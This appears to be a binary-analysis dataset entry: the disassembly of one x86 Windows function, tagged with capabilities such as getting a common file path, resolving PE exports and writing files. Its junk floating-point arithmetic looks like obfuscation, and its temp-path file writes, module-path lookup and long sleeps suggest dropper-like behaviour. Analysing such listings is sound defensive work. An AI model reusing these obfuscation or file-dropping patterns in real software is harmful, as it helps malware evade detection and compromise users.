Function at 0x408bc0
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e2b8
mov eax, dword fs:[0]
push eax
sub esp, 0xd0
mov eax, dword [0x425ee0]
xor eax, esp
mov dword [esp + 0xc8], eax
push ebx
push esi
push edi
mov eax, dword [0x425ee0]
xor eax, esp
push eax
lea eax, [esp + 0xe0]
mov dword fs:[0], eax
fldz
xor eax, eax
mov word [esp + 0x14], ax
fst qword [esp + 0x6c]
fldz
xor ebx, ebx
fst dword [esp + 0x48]
xor ecx, ecx
mov dword [esp + 0x4c], ebx
mov word [esp + 0x2c], cx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x34], ebx
fst dword [esp + 0x18]
fxch st(1)
mov dword [esp + 0x50], ebx
fstp qword [esp + 0x3c]
fstp dword [esp + 0x28]
mov dword [esp + 0x30], ebx
mov dx, word [0x425110]
mov word [esp + 0x2c], dx
mov dword [esp + 0x90], 0xf
mov dword [esp + 0x8c], ebx
mov byte [esp + 0x7c], al
push 0x118
mov dword [esp + 0xec], ebx
call fcn.0040afd3
push eax
mov dword [esp + 0x70], eax
call fcn.00403780
fld dword [esp + 0x20]
fadd qword [0x41f8b8]
add esp, 8
fstp dword [esp + 0x18]
lea esp, [esp]
mov eax, dword [0x423278]
mov ecx, dword [esp + 0x30]
imul eax, ecx
mov dword [esp + 0x30], eax
dec dword [0x423278]
push 0
call fcn.0040adca
dec dword [0x42428c]
mov esi, edx
mov dx, word [esp + 0x18]
mov edi, eax
movsx eax, dx
mov dword [esp + 0x3c], eax
add esp, 4
mov dword [esp + 0x6c], edi
fild dword [esp + 0x38]
mov dword [esp + 0x70], esi
fld dword [esp + 0x18]
mov ecx, dword [0x42428c]
mov dword [esp + 0x38], ecx
fisub dword [esp + 0x38]
fsubp st(1)
call fcn.0040aea0
cmp esi, ebx
mov word [esp + 0x14], ax
fld dword [esp + 0x18]
fadd qword [0x41f348]
fstp dword [esp + 0x18]
jg 0x408d14
jl 0x408d0a
cmp edi, dword [esp + 0x4c]
jae 0x408d14
xor ebx, ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov eax, edi
sub eax, dword [esp + 0x4c]
mov edx, esi
sbb edx, ebx
mov dword [esp + 0x20], edx
js 0x409796
jg 0x408d35
cmp eax, 0x708
jbe 0x409796
mov ax, word [esp + 0x14]
mov edx, dword [esp + 0x34]
movsx ecx, ax
lea eax, [ecx + edx + 0x2a1dcc66]
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], edi
fld qword [esp + 0x3c]
shr edi, 9
fmul qword [0x41f8b0]
push 0x408
lea ebx, [edi + 0x55]
push 0x4259a8
fstp qword [esp + 0x44]
mov dword [esp + 0x58], esi
mov dword [esp + 0x40], 0
mov dword [esp + 0x60], edi
mov dword [esp + 0x24], ebx
call fcn.00401480
push 0xd
push 0x423590
mov dword [esp + 0x6c], eax
call fcn.00401480
mov esi, eax
push 0xaf1
push 0x424370
mov dword [esp + 0x6c], esi
call fcn.00401480
push 0x31e
push 0x425138
mov dword [esp + 0x80], eax
call fcn.00401480
add esp, 0x20
mov dword [esp + 0x64], eax
cmp edi, ebx
je 0x409361
mov ecx, dword [0x427700]
push 0
push ecx
call fcn.00401ac0
add esp, 8
test eax, eax
jne 0x408dfb
mov edx, dword [0x427708]
mov eax, dword [0x427244]
push edx
push eax
call fcn.00401550
add esp, 8
movzx ecx, word [0x423558]
mov edx, dword [esp + 0x58]
mov eax, dword [esp + 0x64]
push edx
sub ecx, 0x4aae0871
mov word [0x423558], cx
mov ecx, dword [esp + 0x64]
push eax
push ecx
lea edx, [esp + 0xa0]
push edx
call fcn.00402cd0
push 0x8b
push 0x425000
call fcn.00401480
fld dword [0x424e88]
mov ebx, eax
fcomp dword [0x41f8a8]
add esp, 0x18
fnstsw ax
test ah, 0x41
jne 0x408e88
mov ax, word [esp + 0x14]
movsx ecx, ax
mov dword [esp + 0x10], ecx
fild dword [esp + 0x10]
fsub qword [0x423220]
mov edx, dword [0x424fb0]
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
faddp st(1)
call fcn.0040aea0
mov word [esp + 0x14], ax
dec dword [0x424fb0]
mov eax, dword [esp + 0x54]
mov esi, eax
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408e90
mov edi, ebx
sub eax, esi
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408ea0
fld dword [esp + 0x18]
mov ecx, eax
fadd qword [0x41f8a0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x2710
mov ecx, eax
push 0
and ecx, 3
lea eax, [esp + 0x80]
push eax
rep movsb byte es:[edi], byte [esi]
fstp dword [esp + 0x24]
lea ecx, [esp + 0xa0]
push ebx
push ecx
call fcn.004082c0
mov edx, dword [0x4242b0]
imul edx, edx, 0xd2c7dd9
xor ecx, ecx
push 0x8b
mov dword [0x4242b0], edx
xor eax, eax
push ecx
mov word [esp + 0x2c], ax
mov word [esp + 0x2c], cx
push ebx
call fcn.0040b4b0
push ebx
call fcn.0040b405
movzx edx, word [esp + 0x34]
movzx eax, word [esp + 0x34]
sub edx, eax
mov eax, dword [esp + 0xa0]
add esp, 0x24
cmp dword [esp + 0x90], 0x10
mov word [esp + 0x10], dx
jae 0x408f3c
lea eax, [esp + 0x7c]
mov ecx, dword [esp + 0x8c]
mov edx, dword [esp + 0x5c]
push ecx
push eax
push edx
call fcn.00407e20
add esp, 0xc
cmp eax, 9
jge 0x408f6e
fld dword [0x424fd8]
fsub qword [0x41f898]
fstp dword [0x4232c8]
jmp 0x409327
mov ecx, dword [esp + 0x7c]
mov ebx, 0x10
cmp dword [esp + 0x90], ebx
jae 0x408f84
lea ecx, [esp + 0x7c]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x70]
jl 0x409327
jg 0x408f9e
cmp edx, dword [esp + 0x6c]
jb 0x409327
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x10], ecx
fild dword [esp + 0x10]
or edi, 0xffffffff
lea esi, [eax - 1]
fsub qword [esp + 0x3c]
fsub qword [0x41f890]
fmul qword [0x423308]
fstp qword [0x423308]
add dword [esp + 0x30], edi
cmp esi, dword [esp + 0x8c]
jbe 0x408fd8
call fcn.0040b687
mov eax, dword [esp + 0x7c]
cmp dword [esp + 0x90], ebx
jae 0x408fe9
lea eax, [esp + 0x7c]
mov dx, word [esp + 0x14]
mov byte [eax + esi], 0
movsx eax, dx
sub dword [0x42321c], eax
add dword [esp + 0x14], edi
mov esi, dword [esp + 0x90]
cmp esi, ebx
mov ebx, dword [esp + 0x7c]
mov eax, ebx
jae 0x409014
lea eax, [esp + 0x7c]
lea ecx, [esp + 0x94]
add eax, 8
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409040
test dl, dl
je 0x40903c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409040
add eax, 2
add ecx, 2
test dl, dl
jne 0x409020
xor eax, eax
jmp 0x409044
sbb eax, eax
sbb eax, edi
test eax, eax
jne 0x409327
cmp esi, 0x10
jb 0x40910f
mov edi, ebx
test ebx, ebx
je 0x409082
mov eax, ebx
cmp esi, 0x10
jae 0x409066
lea eax, [esp + 0x7c]
cmp eax, edi
ja 0x409082
mov eax, ebx
cmp esi, 0x10
jae 0x409075
lea eax, [esp + 0x7c]
mov ecx, dword [esp + 0x8c]
add eax, ecx
cmp edi, eax
jbe 0x40908e
call fcn.0040b687
mov ecx, dword [esp + 0x8c]
lea esi, [esp + 0x78]
mov ebx, edi
mov edx, dword [esp + 0x90]
mov eax, dword [esp + 0x7c]
cmp edx, 0x10
jae 0x4090a8
lea eax, [esp + 0x7c]
lea edi, [eax + ecx]
test edi, edi
je 0x4090d3
mov eax, dword [esp + 0x7c]
cmp edx, 0x10
jae 0x4090bc
lea eax, [esp + 0x7c]
cmp eax, edi
ja 0x4090d3
mov eax, dword [esp + 0x7c]
cmp edx, 0x10
jae 0x4090cd
lea eax, [esp + 0x7c]
add eax, ecx
cmp edi, eax
jbe 0x4090d8
call fcn.0040b687
cmp esi, 0xfffffffc
je 0x4090ee
test esi, esi
je 0x4090e9
lea ecx, [esp + 0x78]
cmp esi, ecx
je 0x4090ee
call fcn.0040b687
cmp ebx, edi
je 0x4091c6
cmp esi, 0xfffffffc
je 0x409129
test esi, esi
jne 0x409104
call fcn.0040b687
cmp dword [esi + 0x18], 0x10
jb 0x409118
mov eax, dword [esi + 4]
jmp 0x40911b
lea edi, [esp + 0x7c]
jmp 0x40905b
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x409129
call fcn.0040b687
fld dword [esp + 0x28]
mov byte [ebx], 0
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [esp + 0x28]
fld qword [0x423668]
fsub dword [esp + 0x28]
fsub qword [0x41f888]
fld qword [0x423308]
fsub qword [0x41f880]
fsub qword [0x41f878]
fcompp
fnstsw ax
fsubr qword [0x423308]
fstp qword [0x423308]
test ah, 1
jne 0x40918f
mov ax, word [esp + 0x14]
movsx ecx, ax
sub ecx, 0xecc8394
mov dword [esp + 0x10], ecx
fild dword [esp + 0x10]
fadd qword [esp + 0x3c]
fstp qword [esp + 0x3c]
cmp esi, 0xfffffffc
je 0x4091b9
test esi, esi
jne 0x40919d
call fcn.0040b687
cmp dword [esi + 0x18], 0x10
jb 0x4091a8
mov eax, dword [esi + 4]
jmp 0x4091ab
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x4091b9
call fcn.0040b687
mov ecx, dword [esp + 0x8c]
inc ebx
jmp 0x409094
fld qword [0x423640]
push 0x7e
fsub qword [0x41f348]
push 0x425000
fstp qword [0x423640]
fld qword [0x423640]
mov ax, word [0x424254]
mov edx, dword [0x424fb4]
movsx ecx, ax
mov dword [esp + 0x30], ecx
fild dword [esp + 0x30]
mov dword [esp + 0x30], edx
faddp st(1)
fild dword [esp + 0x30]
faddp st(1)
fstp dword [esp + 0x30]
dec word [0x424254]
call fcn.00401480
push 0
mov esi, eax
push 0
lea eax, [esp + 0x88]
push eax
lea ecx, [esp + 0xa8]
push esi
push ecx
call fcn.004082c0
xor eax, eax
push 0x7e
xor edx, edx
push eax
mov word [esp + 0x34], dx
mov word [esp + 0x34], ax
push esi
call fcn.0040b4b0
push esi
call fcn.0040b405
movzx ecx, word [esp + 0x3c]
movzx edx, word [esp + 0x3c]
sub ecx, edx
push 0xc
push 0x4250c4
mov word [esp + 0x44], cx
call fcn.00401480
add esp, 0x34
mov esi, eax
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x409276
sub eax, ecx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x84]
call fcn.00404580
mov edi, eax
mov eax, dword [0x423110]
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fadd dword [esp + 0x28]
mov cx, word [0x424288]
movsx edx, cx
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
faddp st(1)
fcomp qword [0x41f870]
fnstsw ax
test ah, 0x41
jp 0x4092e9
fld dword [0x423178]
fsub qword [0x41f868]
fadd dword [esp + 0x18]
fstp dword [esp + 0x18]
fld dword [0x423178]
fadd qword [0x41f348]
fstp dword [0x423178]
xor eax, eax
mov dword [esi], eax
xor ecx, ecx
mov word [esp + 0x10], ax
mov dword [esi + 4], eax
mov word [esp + 0x10], cx
push esi
mov dword [esi + 8], eax
call fcn.0040b405
movzx edx, word [esp + 0x14]
movzx eax, word [esp + 0x14]
mov ecx, dword [esp + 0x90]
sub edx, eax
add ecx, 0xfffffff5
add esp, 4
mov word [esp + 0x10], dx
cmp edi, ecx
je 0x40933c
mov eax, dword [esp + 0x58]
inc eax
mov dword [esp + 0x58], eax
cmp eax, dword [esp + 0x1c]
jne 0x408dd1
jmp 0x40935d
push 0xb
push edi
lea ecx, [esp + 0x80]
call fcn.00404e10
add dword [0x4231e4], 0xe8dfdaac
mov dword [esp + 0x38], 1
mov esi, dword [esp + 0x54]
mov edi, dword [esp + 0x5c]
xor eax, eax
push 0x408
xor edx, edx
push eax
mov word [esp + 0x18], dx
mov word [esp + 0x18], ax
push edi
call fcn.0040b4b0
push edi
call fcn.0040b405
movzx ecx, word [esp + 0x20]
movzx edx, word [esp + 0x20]
sub ecx, edx
mov word [esp + 0x20], cx
movzx eax, word [esp + 0x3c]
mov edx, dword [esp + 0x44]
movsx ecx, ax
sub ecx, edx
mov dword [esp + 0x2c], ecx
xor eax, eax
mov edi, 1
fild dword [esp + 0x2c]
xor ecx, ecx
push esi
fadd dword [esp + 0x2c]
fmul dword [0x425118]
fstp dword [0x425118]
fld dword [esp + 0x2c]
fsub qword [0x41f348]
fstp dword [esp + 0x2c]
add dword [esp + 0x40], edi
mov dword [esi], eax
mov dword [esi + 4], eax
mov word [esp + 0x24], ax
mov dword [esi + 8], eax
mov word [esp + 0x24], cx
mov byte [esi + 0xc], al
call fcn.0040b405
movzx edx, word [esp + 0x24]
movzx eax, word [esp + 0x24]
mov esi, dword [esp + 0x78]
sub edx, eax
mov word [esp + 0x24], dx
add dword [0x423610], edi
movzx ecx, word [0x424254]
fld dword [esp + 0x5c]
mov edx, dword [0x423610]
movsx eax, cx
add eax, 0x9f3958d2
add edx, eax
mov dword [esp + 0x30], edx
xor ecx, ecx
push 0x31e
fisub dword [esp + 0x34]
xor eax, eax
push ecx
push esi
fstp dword [esp + 0x68]
mov word [esp + 0x30], ax
mov word [esp + 0x30], cx
call fcn.0040b4b0
push esi
call fcn.0040b405
movzx edx, word [esp + 0x34]
movzx eax, word [esp + 0x34]
mov esi, dword [esp + 0x84]
sub edx, eax
mov word [esp + 0x34], dx
xor edx, edx
push 0xaf1
xor ecx, ecx
push edx
mov word [esp + 0x3c], cx
mov word [esp + 0x3c], dx
push esi
call fcn.0040b4b0
push esi
call fcn.0040b405
movzx eax, word [esp + 0x44]
movzx ecx, word [esp + 0x44]
sub eax, ecx
mov word [esp + 0x44], ax
fld qword [esp + 0x70]
fadd qword [0x41f348]
fstp qword [esp + 0x70]
fld qword [esp + 0x70]
movzx edx, word [esp + 0x48]
fsub qword [0x41f860]
movsx eax, dx
mov dword [esp + 0x50], eax
fild dword [esp + 0x50]
fmulp st(1)
call fcn.0040aea0
push 0x40
lea ecx, [esp + 0xcc]
push 0
push ecx
mov word [esp + 0x54], ax
call fcn.0040b4b0
add esp, 0x40
cmp dword [esp + 0x38], 0
je 0x409796
mov edx, dword [esp + 0x68]
push 0x708
push edx
call fcn.00403480
add esp, 8
cmp dword [esp + 0x8c], 0x200
jbe 0x409787
add dword [esp + 0x30], 0x69d8967d
push 0x370
call fcn.0040afd3
fld qword [0x423120]
fld1
mov ebx, eax
fsub st(1), st(0)
add esp, 4
fxch st(1)
fstp qword [0x423120]
fld qword [0x423120]
movzx eax, word [esp + 0x14]
movsx ecx, ax
mov dword [esp + 0x1c], ecx
fild dword [esp + 0x1c]
fsubp st(1)
fsub qword [esp + 0x3c]
mov dx, word [0x423578]
movsx eax, dx
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
faddp st(1)
call fcn.0040aea0
mov word [0x423578], ax
fsubr qword [esp + 0x3c]
push ebx
push 0xeb
fstp qword [esp + 0x44]
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00402f70
fld dword [0x425114]
fmul dword [0x425490]
push 3
push 0x423134
fstp dword [0x425490]
fld dword [0x425114]
fsub qword [0x41f348]
fstp dword [0x425114]
call fcn.00401480
mov esi, eax
push esi
push ebx
call fcn.0040bc34
mov edi, eax
xor eax, eax
xor ecx, ecx
xor edx, edx
mov word [esp + 0x28], cx
mov word [esi], ax
mov word [esp + 0x28], dx
push esi
mov byte [esi + 2], al
call fcn.0040b405
movzx eax, word [esp + 0x2c]
movzx ecx, word [esp + 0x2c]
sub eax, ecx
add esp, 0x1c
cmp dword [esp + 0x90], 0x10
mov word [esp + 0x10], ax
mov eax, dword [esp + 0x7c]
jae 0x409615
lea eax, [esp + 0x7c]
mov edx, dword [esp + 0x8c]
push edi
push 1
push edx
push eax
call fcn.0040bdad
push edi
call fcn.0040b7da
fld dword [0x424fe0]
fsub qword [0x41f858]
add esp, 0x14
push 0x104
lea eax, [ebx + 0x104]
push eax
fstp dword [0x424fe0]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x15
push 0x424fe4
call fcn.00401480
mov edi, eax
movzx eax, word [0x423334]
movsx ecx, ax
mov dword [esp + 0x24], ecx
fild dword [esp + 0x24]
fstp dword [esp + 0x24]
fld dword [esp + 0x20]
fadd dword [esp + 0x24]
call fcn.0040aea0
push 0x20
mov word [0x423334], ax
push 0x4230a0
call fcn.00401480
mov edx, dword [0x427700]
push edx
mov esi, eax
push esi
lea eax, [ebx + 0x104]
push eax
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040be2f
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
xor ecx, ecx
mov word [esp + 0x38], ax
mov dword [esi + 0x18], eax
mov word [esp + 0x38], cx
push esi
mov dword [esi + 0x1c], eax
call fcn.0040b405
movzx edx, word [esp + 0x3c]
movzx eax, word [esp + 0x3c]
sub edx, eax
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [esp + 0x3c], dx
mov dword [edi + 8], eax
xor ecx, ecx
mov dword [edi + 0xc], eax
xor edx, edx
mov word [esp + 0x3c], cx
mov dword [edi + 0x10], eax
mov word [esp + 0x3c], dx
push edi
mov byte [edi + 0x14], al
call fcn.0040b405
movzx eax, word [esp + 0x40]
movzx ecx, word [esp + 0x40]
mov edx, dword [0x427700]
sub eax, ecx
mov word [esp + 0x40], ax
push 1
push edx
call fcn.00401ac0
movzx eax, word [0x423130]
movzx ecx, word [esp + 0x64]
cwde
lea edx, [ecx + eax + 0x30a95520]
lea eax, [ebx + 0x208]
push eax
push ebx
mov word [esp + 0x6c], dx
call fcn.00401550
add esp, 0x40
push 0x370
push 0
push ebx
call fcn.0040b4b0
push ebx
call fcn.0040b405
add esp, 0x10
push 0x15f90
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [esp + 0x2c]
add eax, 0x3ff4b0a9
mov word [esp + 0x2c], ax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x4232dc]
sub ecx, 0x3422e7ef
mov dword [esp + 0x1c], ecx
fild dword [esp + 0x1c]
fmul dword [esp + 0x48]
fstp dword [esp + 0x48]
mov dx, word [esp + 0x14]
movsx eax, dx
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fld qword [0x4250f8]
fadd qword [0x41f850]
fsub qword [0x41f848]
fsubp st(1)
call fcn.0040aea0
mov ecx, dword [0x427700]
push 0
push ecx
mov word [esp + 0x1c], ax
call fcn.00401ac0
add esp, 8
test eax, eax
jne 0x409815
mov edx, dword [0x427708]
mov eax, dword [0x427244]
push edx
push eax
call fcn.00401550
add esp, 8
mov ecx, dword [esp + 0x34]
mov eax, dword [0x42511c]
mov ebx, dword [esp + 0x50]
mov edx, 0x2a12ddce
sub edx, ecx
add eax, edx
add dword [0x42354c], eax
inc dword [esp + 0x34]
jmp 0x408c90